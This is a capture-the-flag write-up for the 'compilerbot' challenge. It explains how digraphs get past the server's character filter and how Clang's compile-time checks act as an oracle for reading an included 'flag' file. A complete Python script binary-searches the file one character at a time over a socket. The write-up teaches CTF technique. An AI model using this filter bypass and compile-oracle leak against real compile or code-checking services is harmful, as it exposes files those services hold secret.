If Compiler Explorer is too bloated for you, you can always rely on our excellent compiler bot to tell you whether you screwed up while coding your latest exploit.
And since we never actually run your code, there’s no way for you to hack it!
Download: compilerbot-f64128acb63c6bbe.tar.xz (10.9 KiB)
Connection:nc 88.198.154.157 8011
The goal in this challenge is to obtain the flag by querying whether a piece of C code compiles. The server removes curly braces and the pound sign (#
) via
code.translate(str.maketrans('', '', '{#}'))
This can easily be bypassed by using the digraphs <%
, %:
, and %>
instead. During the CTF, a lot more teams seemed to use the (deprecated?) trigraphs ??<
, ??>
, and ??=
, which requires disabling warnings with _Pragma
but is otherwise equivalent.
There is a number of ways to get the actual file included (GNU assembler has the directives .include
and .incbin
for this), but #include "flag"
is sufficient here. Some teams found innovative solutions based on playing with inline assembly; this writeup will instead demonstrate a short C-only solution. To operate on individual flag characters after #include
, it is easiest to turn it into a string (in theory, you could also brute-force the flag using #pragma poison
or similar methods, which is why the flag is so long):
#define _str(x) #x
#define str(x) _str(x)
Unfortunately, the compiler will not let us simply
str(
#include "flag"
)
because we are not allowed to have #include
s within a macro invocation.
(the compiler complains about an ““unterminated argument list invoking
macro”). However, Clang (not GCC!) lets us use the flag format to our advantage: By
using #define hxp str(
, we can turn
#include "flag"
)
into
str({flag_contents_here})
We have C11 support, so we can use _Static_assert(condition, message)
to
check whether a condition is true at compile time. However, the condition
must be an “integer constant expression”, which means that Clang stops us
from simply indexing into the string, regardless of whether we assign it to
an array or a pointer or index the literal directly.
However, Clang does let us use the character extracted directly from the string in other locations where the standard is not as strict:
static const char thing[str(...)[0]];
_Static_assert(sizeof(thing) == '{', "...");
GCC rightfully complains about this: “variably modified ‘thing’ at file scope”. This finally allows us to binary search over every flag character to get the flag:
hxp{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}
Here is the full code:
#!/usr/bin/python3
import argparse
import base64
import socket
import textwrap
PREFIX = textwrap.dedent(r'''
%>
%:define _str(x) %:x
%:define str(x) _str(x)
%:define hxp str(
%:pragma clang diagnostic ignored "-Wpedantic"
%:pragma clang diagnostic ignored "-Wunneeded-internal-declaration"
''')
SUFFIX = textwrap.dedent(r'''
void test(void) <%
''')
def query(endpoint, code):
code = base64.b64encode((PREFIX + code + SUFFIX).encode())
with socket.socket(socket.AF_INET) as so:
so.connect(endpoint)
assert so.recv(1024) == b'> '
so.sendall(code + b'\n')
response = so.recv(1024).decode().strip()
return {'OK': True, 'Not OK': False}[response]
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument('-H', '--host', help='Target host', default='localhost')
p.add_argument('-p', '--port', help='Target port', type=int, default=8011)
args = p.parse_args()
endpoint = (args.host, args.port)
# Iteratively search for flag characters
# We know that the last character will be a }, so that's when we stop
index = 1
flag_content = 'hxp{'
while not flag_content.endswith('}'):
range_low, range_high = 0, 127 # Inclusive ranges
while range_low != range_high:
midpoint = (range_low + range_high) // 2
code = textwrap.dedent(fr'''
static const char thing[
%:include "flag"
)[{index}]];
_Static_assert(sizeof(thing) <= {midpoint}, "Fail");
''')
if query(endpoint, code):
range_high = midpoint
else:
range_low = midpoint + 1
print(f'\r\x1b[32m{flag_content}\x1b[33m{chr(range_low)}\x1b[0m', end='', flush=True)
flag_content += chr(range_low)
index += 1
print(f'\r\x1b[32m{flag_content}\x1b[0m', end='', flush=True)
print()